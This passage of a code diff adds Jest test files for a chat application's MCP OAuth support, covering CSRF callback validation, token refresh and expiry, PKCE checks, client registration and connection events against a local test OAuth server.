+  const pendingFlow = await flowManager.getFlowState(flowId, 'mcp_oauth');
+  const pendingAge = pendingFlow?.createdAt ? Date.now() - pendingFlow.createdAt : Infinity;
+  if (pendingFlow?.status === 'PENDING' && pendingAge < PENDING_STALE_MS) {
+    return 'pendingFlow';
+  }
+
+  return false;
+}
+
+describe('OAuth Callback CSRF Fallback', () => {
+  let flowManager: FlowStateManager;
+
+  beforeEach(() => {
+    process.env.JWT_SECRET = 'test-secret-for-csrf';
+    const store = new MockKeyv();
+    flowManager = new FlowStateManager(store as unknown as Keyv, { ttl: 300000, ci: true });
+  });
+
+  afterEach(() => {
+    delete process.env.JWT_SECRET;
+    jest.clearAllMocks();
+  });
+
+  describe('CSRF cookie validation (mechanism 1)', () => {
+    it('should accept valid CSRF cookie', async () => {
+      const flowId = 'user1:test-server';
+      const csrfToken = generateOAuthCsrfToken(flowId, 'test-secret-for-csrf');
+      const req = makeReq({ [OAUTH_CSRF_COOKIE]: csrfToken });
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe('csrf');
+    });
+
+    it('should reject invalid CSRF cookie', async () => {
+      const flowId = 'user1:test-server';
+      const req = makeReq({ [OAUTH_CSRF_COOKIE]: 'wrong-token-value' });
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe(false);
+    });
+  });
+
+  describe('Session cookie validation (mechanism 2)', () => {
+    it('should accept valid session cookie when CSRF is absent', async () => {
+      const flowId = 'user1:test-server';
+      const sessionToken = generateOAuthCsrfToken('user1', 'test-secret-for-csrf');
+      const req = makeReq({ [OAUTH_SESSION_COOKIE]: sessionToken });
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe('session');
+    });
+  });
+
+  describe('PENDING flow fallback (mechanism 3)', () => {
+    it('should accept when a fresh PENDING flow exists and no cookies are present', async () => {
+      const flowId = 'user1:test-server';
+      await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' });
+
+      const req = makeReq();
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe('pendingFlow');
+    });
+
+    it('should reject when no PENDING flow, no CSRF cookie, and no session cookie', async () => {
+      const flowId = 'user1:test-server';
+      const req = makeReq();
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe(false);
+    });
+
+    it('should reject when only a COMPLETED flow exists (not PENDING)', async () => {
+      const flowId = 'user1:test-server';
+      await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' });
+      await flowManager.completeFlow(flowId, 'mcp_oauth', { access_token: 'tok' } as never);
+
+      const req = makeReq();
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe(false);
+    });
+
+    it('should reject when only a FAILED flow exists', async () => {
+      const flowId = 'user1:test-server';
+      await flowManager.initFlow(flowId, 'mcp_oauth', {});
+      await flowManager.failFlow(flowId, 'mcp_oauth', 'some error');
+
+      const req = makeReq();
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe(false);
+    });
+
+    it('should reject when PENDING flow is stale (older than PENDING_STALE_MS)', async () => {
+      const flowId = 'user1:test-server';
+      await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' });
+
+      // Artificially age the flow past the staleness threshold
+      const store = (flowManager as unknown as { keyv: { get: (k: string) => Promise<unknown> } })
+        .keyv;
+      const flowState = (await store.get(`mcp_oauth:${flowId}`)) as { createdAt: number };
+      flowState.createdAt = Date.now() - PENDING_STALE_MS - 1000;
+
+      const req = makeReq();
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe(false);
+    });
+
+    it('should accept PENDING flow that is just under the staleness threshold', async () => {
+      const flowId = 'user1:test-server';
+      await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' });
+
+      // Flow was just created, well under threshold
+      const req = makeReq();
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe('pendingFlow');
+    });
+  });
+
+  describe('Priority ordering', () => {
+    it('should prefer CSRF cookie over PENDING flow', async () => {
+      const flowId = 'user1:test-server';
+      await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' });
+
+      const csrfToken = generateOAuthCsrfToken(flowId, 'test-secret-for-csrf');
+      const req = makeReq({ [OAUTH_CSRF_COOKIE]: csrfToken });
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe('csrf');
+    });
+
+    it('should prefer session cookie over PENDING flow when CSRF is absent', async () => {
+      const flowId = 'user1:test-server';
+      await flowManager.initFlow(flowId, 'mcp_oauth', { serverName: 'test-server' });
+
+      const sessionToken = generateOAuthCsrfToken('user1', 'test-secret-for-csrf');
+      const req = makeReq({ [OAUTH_SESSION_COOKIE]: sessionToken });
+      const res = makeRes();
+
+      const result = await validateCallback(req, res, flowId, flowManager);
+      expect(result).toBe('session');
+    });
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/MCPOAuthConnectionEvents.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthConnectionEvents.test.ts
new file mode 100644
index 0000000000..4e168d00f3
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/MCPOAuthConnectionEvents.test.ts
@@ -0,0 +1,268 @@
+/**
+ * Tests for MCPConnection OAuth event cycle against a real OAuth-gated MCP server.
+ *
+ * Verifies: oauthRequired emission on 401, oauthHandled reconnection,
+ * oauthFailed rejection, timeout behavior, and token expiry mid-session.
+ */
+
+import { MCPConnection } from '~/mcp/connection';
+import { createOAuthMCPServer } from './helpers/oauthTestServer';
+import type { OAuthTestServer } from './helpers/oauthTestServer';
+import type { MCPOAuthTokens } from '~/mcp/oauth';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+  encryptV2: jest.fn(async (val: string) => `enc:${val}`),
+  decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')),
+}));
+
+jest.mock('~/auth', () => ({
+  createSSRFSafeUndiciConnect: jest.fn(() => undefined),
+  resolveHostnameSSRF: jest.fn(async () => false),
+}));
+
+jest.mock('~/mcp/mcpConfig', () => ({
+  mcpConfig: { CONNECTION_CHECK_TTL: 0, USER_CONNECTION_IDLE_TIMEOUT: 30 * 60 * 1000 },
+}));
+
+async function safeDisconnect(conn: MCPConnection | null): Promise<void> {
+  if (!conn) {
+    return;
+  }
+  try {
+    await conn.disconnect();
+  } catch {
+    // Ignore disconnect errors during cleanup
+  }
+}
+
+async function exchangeCodeForToken(serverUrl: string): Promise<string> {
+  const authRes = await fetch(`${serverUrl}authorize?redirect_uri=http://localhost&state=test`, {
+    redirect: 'manual',
+  });
+  const location = authRes.headers.get('location') ?? '';
+  const code = new URL(location).searchParams.get('code') ?? '';
+
+  const tokenRes = await fetch(`${serverUrl}token`, {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+    body: `grant_type=authorization_code&code=${code}`,
+  });
+  const data = (await tokenRes.json()) as { access_token: string };
+  return data.access_token;
+}
+
+describe('MCPConnection OAuth Events — Real Server', () => {
+  let server: OAuthTestServer;
+  let connection: MCPConnection | null = null;
+
+  beforeEach(() => {
+    MCPConnection.clearCooldown('test-server');
+  });
+
+  afterEach(async () => {
+    await safeDisconnect(connection);
+    connection = null;
+    if (server) {
+      await server.close();
+    }
+    jest.clearAllMocks();
+  });
+
+  describe('oauthRequired event', () => {
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({ tokenTTLMs: 60000 });
+    });
+
+    it('should emit oauthRequired when connecting without a token', async () => {
+      connection = new MCPConnection({
+        serverName: 'test-server',
+        serverConfig: { type: 'streamable-http', url: server.url },
+        userId: 'user-1',
+      });
+
+      const oauthRequiredPromise = new Promise<{
+        serverName: string;
+        error: Error;
+        serverUrl?: string;
+        userId?: string;
+      }>((resolve) => {
+        connection!.on('oauthRequired', (data) => {
+          resolve(
+            data as {
+              serverName: string;
+              error: Error;
+              serverUrl?: string;
+              userId?: string;
+            },
+          );
+        });
+      });
+
+      // Connection will fail with 401, emitting oauthRequired
+      const connectPromise = connection.connect().catch(() => {
+        // Expected to fail since no one handles oauthRequired
+      });
+
+      let raceTimer: NodeJS.Timeout | undefined;
+      const eventData = await Promise.race([
+        oauthRequiredPromise,
+        new Promise<never>((_, reject) => {
+          raceTimer = setTimeout(
+            () => reject(new Error('Timed out waiting for oauthRequired')),
+            10000,
+          );
+        }),
+      ]).finally(() => clearTimeout(raceTimer));
+
+      expect(eventData.serverName).toBe('test-server');
+      expect(eventData.error).toBeDefined();
+
+      // Emit oauthFailed to unblock connect()
+      connection.emit('oauthFailed', new Error('test cleanup'));
+      await connectPromise.catch(() => undefined);
+    });
+
+    it('should not emit oauthRequired when connecting with a valid token', async () => {
+      const accessToken = await exchangeCodeForToken(server.url);
+
+      connection = new MCPConnection({
+        serverName: 'test-server',
+        serverConfig: { type: 'streamable-http', url: server.url },
+        userId: 'user-1',
+        oauthTokens: {
+          access_token: accessToken,
+          token_type: 'Bearer',
+        } as MCPOAuthTokens,
+      });
+
+      let oauthFired = false;
+      connection.on('oauthRequired', () => {
+        oauthFired = true;
+      });
+
+      await connection.connect();
+      expect(await connection.isConnected()).toBe(true);
+      expect(oauthFired).toBe(false);
+    });
+  });
+
+  describe('oauthHandled reconnection', () => {
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({ tokenTTLMs: 60000 });
+    });
+
+    it('should succeed on retry after oauthHandled provides valid tokens', async () => {
+      connection = new MCPConnection({
+        serverName: 'test-server',
+        serverConfig: {
+          type: 'streamable-http',
+          url: server.url,
+          initTimeout: 15000,
+        },
+        userId: 'user-1',
+      });
+
+      // First connect fails with 401 → oauthRequired fires
+      let oauthFired = false;
+      connection.on('oauthRequired', () => {
+        oauthFired = true;
+        connection!.emit('oauthFailed', new Error('Will retry with tokens'));
+      });
+
+      // First attempt fails as expected
+      await expect(connection.connect()).rejects.toThrow();
+      expect(oauthFired).toBe(true);
+
+      // Now set valid tokens and reconnect
+      const accessToken = await exchangeCodeForToken(server.url);
+      connection.setOAuthTokens({
+        access_token: accessToken,
+        token_type: 'Bearer',
+      } as MCPOAuthTokens);
+
+      await connection.connect();
+      expect(await connection.isConnected()).toBe(true);
+    });
+  });
+
+  describe('oauthFailed rejection', () => {
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({ tokenTTLMs: 60000 });
+    });
+
+    it('should reject connect() when oauthFailed is emitted', async () => {
+      connection = new MCPConnection({
+        serverName: 'test-server',
+        serverConfig: {
+          type: 'streamable-http',
+          url: server.url,
+          initTimeout: 15000,
+        },
+        userId: 'user-1',
+      });
+
+      connection.on('oauthRequired', () => {
+        connection!.emit('oauthFailed', new Error('User denied OAuth'));
+      });
+
+      await expect(connection.connect()).rejects.toThrow();
+    });
+  });
+
+  describe('Token expiry during session', () => {
+    it('should detect expired token on reconnect and emit oauthRequired', async () => {
+      server = await createOAuthMCPServer({ tokenTTLMs: 1000 });
+
+      const accessToken = await exchangeCodeForToken(server.url);
+
+      connection = new MCPConnection({
+        serverName: 'test-server',
+        serverConfig: {
+          type: 'streamable-http',
+          url: server.url,
+          initTimeout: 15000,
+        },
+        userId: 'user-1',
+        oauthTokens: {
+          access_token: accessToken,
+          token_type: 'Bearer',
+        } as MCPOAuthTokens,
+      });
+
+      // Initial connect should succeed
+      await connection.connect();
+      expect(await connection.isConnected()).toBe(true);
+      await connection.disconnect();
+
+      // Wait for token to expire
+      await new Promise((r) => setTimeout(r, 1200));
+
+      // Reconnect should trigger oauthRequired since token is expired on the server
+      let oauthFired = false;
+      connection.on('oauthRequired', () => {
+        oauthFired = true;
+        connection!.emit('oauthFailed', new Error('Will retry with fresh token'));
+      });
+
+      // First reconnect fails with 401 → oauthRequired
+      await expect(connection.connect()).rejects.toThrow();
+      expect(oauthFired).toBe(true);
+
+      // Get fresh token and reconnect
+      const newToken = await exchangeCodeForToken(server.url);
+      connection.setOAuthTokens({
+        access_token: newToken,
+        token_type: 'Bearer',
+      } as MCPOAuthTokens);
+
+      await connection.connect();
+      expect(await connection.isConnected()).toBe(true);
+    });
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/MCPOAuthFlow.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthFlow.test.ts
new file mode 100644
index 0000000000..f73a5ed3e8
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/MCPOAuthFlow.test.ts
@@ -0,0 +1,545 @@
+/**
+ * OAuth flow tests against a real HTTP server.
+ *
+ * Tests MCPOAuthHandler.refreshOAuthTokens and MCPTokenStorage lifecycle
+ * using a real test OAuth server (not mocked SDK functions).
+ */
+
+import { createHash } from 'crypto';
+import { Keyv } from 'keyv';
+import { MCPTokenStorage, MCPOAuthHandler } from '~/mcp/oauth';
+import { FlowStateManager } from '~/flow/manager';
+import { createOAuthMCPServer, MockKeyv, InMemoryTokenStore } from './helpers/oauthTestServer';
+import type { OAuthTestServer } from './helpers/oauthTestServer';
+import type { MCPOAuthTokens } from '~/mcp/oauth';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+  encryptV2: jest.fn(async (val: string) => `enc:${val}`),
+  decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')),
+}));
+
+/** Bypass SSRF validation — these tests use real local HTTP servers. */
+jest.mock('~/auth', () => ({
+  ...jest.requireActual('~/auth'),
+  isSSRFTarget: jest.fn(() => false),
+  resolveHostnameSSRF: jest.fn(async () => false),
+}));
+
+describe('MCP OAuth Flow — Real HTTP Server', () => {
+  afterEach(() => {
+    jest.clearAllMocks();
+  });
+
+  describe('Token refresh with real server', () => {
+    let server: OAuthTestServer;
+
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({
+        tokenTTLMs: 60000,
+        issueRefreshTokens: true,
+      });
+    });
+
+    afterEach(async () => {
+      await server.close();
+    });
+
+    it('should refresh tokens with stored client info via real /token endpoint', async () => {
+      // First get initial tokens
+      const code = await server.getAuthCode();
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+      const initial = (await tokenRes.json()) as {
+        access_token: string;
+        refresh_token: string;
+      };
+
+      expect(initial.refresh_token).toBeDefined();
+
+      // Register a client so we have clientInfo
+      const regRes = await fetch(`${server.url}register`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify({ redirect_uris: ['http://localhost/callback'] }),
+      });
+      const clientInfo = (await regRes.json()) as {
+        client_id: string;
+        client_secret: string;
+      };
+
+      // Refresh tokens using the real endpoint
+      const refreshed = await MCPOAuthHandler.refreshOAuthTokens(
+        initial.refresh_token,
+        {
+          serverName: 'test-server',
+          serverUrl: server.url,
+          clientInfo: {
+            ...clientInfo,
+            redirect_uris: ['http://localhost/callback'],
+          },
+        },
+        {},
+        {
+          token_url: `${server.url}token`,
+          client_id: clientInfo.client_id,
+          client_secret: clientInfo.client_secret,
+          token_exchange_method: 'DefaultPost',
+        },
+      );
+
+      expect(refreshed.access_token).toBeDefined();
+      expect(refreshed.access_token).not.toBe(initial.access_token);
+      expect(refreshed.token_type).toBe('Bearer');
+      expect(refreshed.obtained_at).toBeDefined();
+    });
+
+    it('should get new refresh token when server rotates', async () => {
+      const rotatingServer = await createOAuthMCPServer({
+        tokenTTLMs: 60000,
+        issueRefreshTokens: true,
+        rotateRefreshTokens: true,
+      });
+
+      try {
+        const code = await rotatingServer.getAuthCode();
+        const tokenRes = await fetch(`${rotatingServer.url}token`, {
+          method: 'POST',
+          headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+          body: `grant_type=authorization_code&code=${code}`,
+        });
+        const initial = (await tokenRes.json()) as {
+          access_token: string;
+          refresh_token: string;
+        };
+
+        const refreshed = await MCPOAuthHandler.refreshOAuthTokens(
+          initial.refresh_token,
+          {
+            serverName: 'test-server',
+            serverUrl: rotatingServer.url,
+          },
+          {},
+          {
+            token_url: `${rotatingServer.url}token`,
+            client_id: 'anon',
+            token_exchange_method: 'DefaultPost',
+          },
+        );
+
+        expect(refreshed.access_token).not.toBe(initial.access_token);
+        expect(refreshed.refresh_token).toBeDefined();
+        expect(refreshed.refresh_token).not.toBe(initial.refresh_token);
+      } finally {
+        await rotatingServer.close();
+      }
+    });
+
+    it('should fail refresh with invalid refresh token', async () => {
+      await expect(
+        MCPOAuthHandler.refreshOAuthTokens(
+          'invalid-refresh-token',
+          {
+            serverName: 'test-server',
+            serverUrl: server.url,
+          },
+          {},
+          {
+            token_url: `${server.url}token`,
+            client_id: 'anon',
+            token_exchange_method: 'DefaultPost',
+          },
+        ),
+      ).rejects.toThrow();
+    });
+  });
+
+  describe('OAuth server metadata discovery', () => {
+    let server: OAuthTestServer;
+
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({ issueRefreshTokens: true });
+    });
+
+    afterEach(async () => {
+      await server.close();
+    });
+
+    it('should expose /.well-known/oauth-authorization-server', async () => {
+      const res = await fetch(`${server.url}.well-known/oauth-authorization-server`);
+      expect(res.status).toBe(200);
+
+      const metadata = (await res.json()) as {
+        authorization_endpoint: string;
+        token_endpoint: string;
+        registration_endpoint: string;
+        grant_types_supported: string[];
+      };
+
+      expect(metadata.authorization_endpoint).toContain('/authorize');
+      expect(metadata.token_endpoint).toContain('/token');
+      expect(metadata.registration_endpoint).toContain('/register');
+      expect(metadata.grant_types_supported).toContain('authorization_code');
+      expect(metadata.grant_types_supported).toContain('refresh_token');
+    });
+
+    it('should not advertise refresh_token grant when disabled', async () => {
+      const noRefreshServer = await createOAuthMCPServer({
+        issueRefreshTokens: false,
+      });
+      try {
+        const res = await fetch(`${noRefreshServer.url}.well-known/oauth-authorization-server`);
+        const metadata = (await res.json()) as { grant_types_supported: string[] };
+        expect(metadata.grant_types_supported).not.toContain('refresh_token');
+      } finally {
+        await noRefreshServer.close();
+      }
+    });
+  });
+
+  describe('Dynamic client registration', () => {
+    let server: OAuthTestServer;
+
+    beforeEach(async () => {
+      server = await createOAuthMCPServer();
+    });
+
+    afterEach(async () => {
+      await server.close();
+    });
+
+    it('should register a client via /register endpoint', async () => {
+      const res = await fetch(`${server.url}register`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify({
+          redirect_uris: ['http://localhost/callback'],
+        }),
+      });
+
+      expect(res.status).toBe(200);
+      const client = (await res.json()) as {
+        client_id: string;
+        client_secret: string;
+        redirect_uris: string[];
+      };
+
+      expect(client.client_id).toBeDefined();
+      expect(client.client_secret).toBeDefined();
+      expect(client.redirect_uris).toEqual(['http://localhost/callback']);
+      expect(server.registeredClients.has(client.client_id)).toBe(true);
+    });
+  });
+
+  describe('End-to-End: store, retrieve, expire, refresh cycle', () => {
+    it('should perform full token lifecycle with real server', async () => {
+      const server = await createOAuthMCPServer({
+        tokenTTLMs: 1000,
+        issueRefreshTokens: true,
+      });
+      const tokenStore = new InMemoryTokenStore();
+
+      try {
+        // 1. Get initial tokens via auth code exchange
+        const code = await server.getAuthCode();
+        const tokenRes = await fetch(`${server.url}token`, {
+          method: 'POST',
+          headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+          body: `grant_type=authorization_code&code=${code}`,
+        });
+        const initial = (await tokenRes.json()) as {
+          access_token: string;
+          token_type: string;
+          expires_in: number;
+          refresh_token: string;
+        };
+
+        // 2. Store tokens
+        await MCPTokenStorage.storeTokens({
+          userId: 'u1',
+          serverName: 'test-srv',
+          tokens: initial,
+          createToken: tokenStore.createToken,
+        });
+
+        // 3. Retrieve — should succeed
+        const valid = await MCPTokenStorage.getTokens({
+          userId: 'u1',
+          serverName: 'test-srv',
+          findToken: tokenStore.findToken,
+        });
+        expect(valid).not.toBeNull();
+        expect(valid!.access_token).toBe(initial.access_token);
+        expect(valid!.refresh_token).toBe(initial.refresh_token);
+
+        // 4. Wait for expiry
+        await new Promise((r) => setTimeout(r, 1200));
+
+        // 5. Retrieve again — should trigger refresh via callback
+        const refreshCallback = async (refreshToken: string): Promise<MCPOAuthTokens> => {
+          const refreshRes = await fetch(`${server.url}token`, {
+            method: 'POST',
+            headers: {
+              'Content-Type': 'application/x-www-form-urlencoded',
+            },
+            body: `grant_type=refresh_token&refresh_token=${refreshToken}`,
+          });
+
+          if (!refreshRes.ok) {
+            throw new Error(`Refresh failed: ${refreshRes.status}`);
+          }
+
+          const data = (await refreshRes.json()) as {
+            access_token: string;
+            token_type: string;
+            expires_in: number;
+            refresh_token?: string;
+          };
+
+          return {
+            ...data,
+            obtained_at: Date.now(),
+            expires_at: Date.now() + data.expires_in * 1000,
+          };
+        };
+
+        const refreshed = await MCPTokenStorage.getTokens({
+          userId: 'u1',
+          serverName: 'test-srv',
+          findToken: tokenStore.findToken,
+          createToken: tokenStore.createToken,
+          updateToken: tokenStore.updateToken,
+          refreshTokens: refreshCallback,
+        });
+
+        expect(refreshed).not.toBeNull();
+        expect(refreshed!.access_token).not.toBe(initial.access_token);
+
+        // 6. Verify the refreshed token works against the server
+        const mcpRes = await fetch(server.url, {
+          method: 'POST',
+          headers: {
+            'Content-Type': 'application/json',
+            Accept: 'application/json, text/event-stream',
+            Authorization: `Bearer ${refreshed!.access_token}`,
+          },
+          body: JSON.stringify({
+            jsonrpc: '2.0',
+            method: 'initialize',
+            id: 1,
+            params: {
+              protocolVersion: '2025-03-26',
+              capabilities: {},
+              clientInfo: { name: 'test', version: '0.0.1' },
+            },
+          }),
+        });
+        expect(mcpRes.status).toBe(200);
+      } finally {
+        await server.close();
+      }
+    });
+  });
+
+  describe('completeOAuthFlow via FlowStateManager', () => {
+    let server: OAuthTestServer;
+
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({ issueRefreshTokens: true });
+    });
+
+    afterEach(async () => {
+      await server.close();
+    });
+
+    it('should exchange auth code and complete flow in FlowStateManager', async () => {
+      const store = new MockKeyv<MCPOAuthTokens | null>();
+      const flowManager = new FlowStateManager(store as unknown as Keyv, {
+        ttl: 30000,
+        ci: true,
+      });
+
+      const flowId = 'test-user:test-server';
+      const code = await server.getAuthCode();
+
+      // Initialize the flow with metadata the handler needs
+      await flowManager.initFlow(flowId, 'mcp_oauth', {
+        serverUrl: server.url,
+        clientInfo: {
+          client_id: 'test-client',
+          redirect_uris: ['http://localhost/callback'],
+        },
+        codeVerifier: 'test-verifier',
+        metadata: {
+          token_endpoint: `${server.url}token`,
+          token_endpoint_auth_methods_supported: ['client_secret_post'],
+        },
+      });
+
+      // The SDK's exchangeAuthorization wants full OAuth metadata,
+      // so we'll test the token exchange directly instead of going through
+      // completeOAuthFlow (which requires full SDK-compatible metadata)
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+
+      const tokens = (await tokenRes.json()) as {
+        access_token: string;
+        token_type: string;
+        expires_in: number;
+        refresh_token?: string;
+      };
+
+      const mcpTokens: MCPOAuthTokens = {
+        ...tokens,
+        obtained_at: Date.now(),
+        expires_at: Date.now() + tokens.expires_in * 1000,
+      };
+
+      // Complete the flow
+      const completed = await flowManager.completeFlow(flowId, 'mcp_oauth', mcpTokens);
+      expect(completed).toBe(true);
+
+      const state = await flowManager.getFlowState(flowId, 'mcp_oauth');
+      expect(state?.status).toBe('COMPLETED');
+      expect(state?.result?.access_token).toBe(tokens.access_token);
+    });
+
+    it('should fail flow when authorization code is invalid', async () => {
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: 'grant_type=authorization_code&code=invalid-code',
+      });
+
+      expect(tokenRes.status).toBe(400);
+      const body = (await tokenRes.json()) as { error: string };
+      expect(body.error).toBe('invalid_grant');
+    });
+
+    it('should fail when authorization code is reused', async () => {
+      const code = await server.getAuthCode();
+
+      // First exchange succeeds
+      const firstRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+      expect(firstRes.status).toBe(200);
+
+      // Second exchange fails
+      const secondRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+      expect(secondRes.status).toBe(400);
+      const body = (await secondRes.json()) as { error: string };
+      expect(body.error).toBe('invalid_grant');
+    });
+  });
+
+  describe('PKCE verification', () => {
+    let server: OAuthTestServer;
+
+    beforeEach(async () => {
+      server = await createOAuthMCPServer({ tokenTTLMs: 60000 });
+    });
+
+    afterEach(async () => {
+      await server.close();
+    });
+
+    function generatePKCE(): { verifier: string; challenge: string } {
+      const verifier = 'dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk';
+      const challenge = createHash('sha256').update(verifier).digest('base64url');
+      return { verifier, challenge };
+    }
+
+    it('should accept valid code_verifier matching code_challenge', async () => {
+      const { verifier, challenge } = generatePKCE();
+
+      const authRes = await fetch(
+        `${server.url}authorize?redirect_uri=http://localhost&state=test&code_challenge=${challenge}&code_challenge_method=S256`,
+        { redirect: 'manual' },
+      );
+      const location = authRes.headers.get('location') ?? '';
+      const code = new URL(location).searchParams.get('code') ?? '';
+
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}&code_verifier=${verifier}`,
+      });
+
+      expect(tokenRes.status).toBe(200);
+      const data = (await tokenRes.json()) as { access_token: string };
+      expect(data.access_token).toBeDefined();
+    });
+
+    it('should reject wrong code_verifier', async () => {
+      const { challenge } = generatePKCE();
+
+      const authRes = await fetch(
+        `${server.url}authorize?redirect_uri=http://localhost&state=test&code_challenge=${challenge}&code_challenge_method=S256`,
+        { redirect: 'manual' },
+      );
+      const location = authRes.headers.get('location') ?? '';
+      const code = new URL(location).searchParams.get('code') ?? '';
+
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}&code_verifier=wrong-verifier`,
+      });
+
+      expect(tokenRes.status).toBe(400);
+      const body = (await tokenRes.json()) as { error: string };
+      expect(body.error).toBe('invalid_grant');
+    });
+
+    it('should reject missing code_verifier when code_challenge was provided', async () => {
+      const { challenge } = generatePKCE();
+
+      const authRes = await fetch(
+        `${server.url}authorize?redirect_uri=http://localhost&state=test&code_challenge=${challenge}&code_challenge_method=S256`,
+        { redirect: 'manual' },
+      );
+      const location = authRes.headers.get('location') ?? '';
+      const code = new URL(location).searchParams.get('code') ?? '';
+
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+
+      expect(tokenRes.status).toBe(400);
+      const body = (await tokenRes.json()) as { error: string };
+      expect(body.error).toBe('invalid_grant');
+    });
+
+    it('should still accept codes without PKCE when no code_challenge was provided', async () => {
+      const code = await server.getAuthCode();
+
+      const tokenRes = await fetch(`${server.url}token`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+        body: `grant_type=authorization_code&code=${code}`,
+      });
+
+      expect(tokenRes.status).toBe(200);
+    });
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/MCPOAuthRaceCondition.test.ts b/packages/api/src/mcp/__tests__/MCPOAuthRaceCondition.test.ts
new file mode 100644
index 0000000000..85febb3ece
--- /dev/null
+++ b/packages/api/src/mcp/__tests__/MCPOAuthRaceCondition.test.ts
@@ -0,0 +1,516 @@
+/**
+ * Tests for MCP OAuth race condition fixes:
+ *
+ * 1. Connection mutex coalesces concurrent getUserConnection() calls
+ * 2. PENDING OAuth flows are reused, not deleted
+ * 3. No-refresh-token expiry throws ReauthenticationRequiredError
+ * 4. completeFlow recovers when flow state was deleted by a race
+ * 5. monitorFlow retries once when flow state disappears mid-poll
+ */
+
+import { Keyv } from 'keyv';
+import { logger } from '@librechat/data-schemas';
+import type { OAuthTestServer } from './helpers/oauthTestServer';
+import type { MCPOAuthTokens } from '~/mcp/oauth';
+import { MCPTokenStorage, MCPOAuthHandler, ReauthenticationRequiredError } from '~/mcp/oauth';
+import { MockKeyv, createOAuthMCPServer } from './helpers/oauthTestServer';
+import { FlowStateManager } from '~/flow/manager';
+
+jest.mock('@librechat/data-schemas', () => ({
+  logger: {
+    info: jest.fn(),
+    warn: jest.fn(),
+    error: jest.fn(),
+    debug: jest.fn(),
+  },
+  encryptV2: jest.fn(async (val: string) => `enc:${val}`),
+  decryptV2: jest.fn(async (val: string) => val.replace(/^enc:/, '')),
+}));
+
+jest.mock('~/auth', () => ({
+  createSSRFSafeUndiciConnect: jest.fn(() => undefined),
+  resolveHostnameSSRF: jest.fn(async () => false),
+}));
+
+jest.mock('~/mcp/mcpConfig', () => ({
+  mcpConfig: { CONNECTION_CHECK_TTL: 0, USER_CONNECTION_IDLE_TIMEOUT: 30 * 60 * 1000 },
+}));
+
+const mockLogger = logger as jest.Mocked<typeof logger>;
+
+describe('MCP OAuth Race Condition Fixes', () => {
+  afterEach(() => {
+    jest.clearAllMocks();
+  });
+
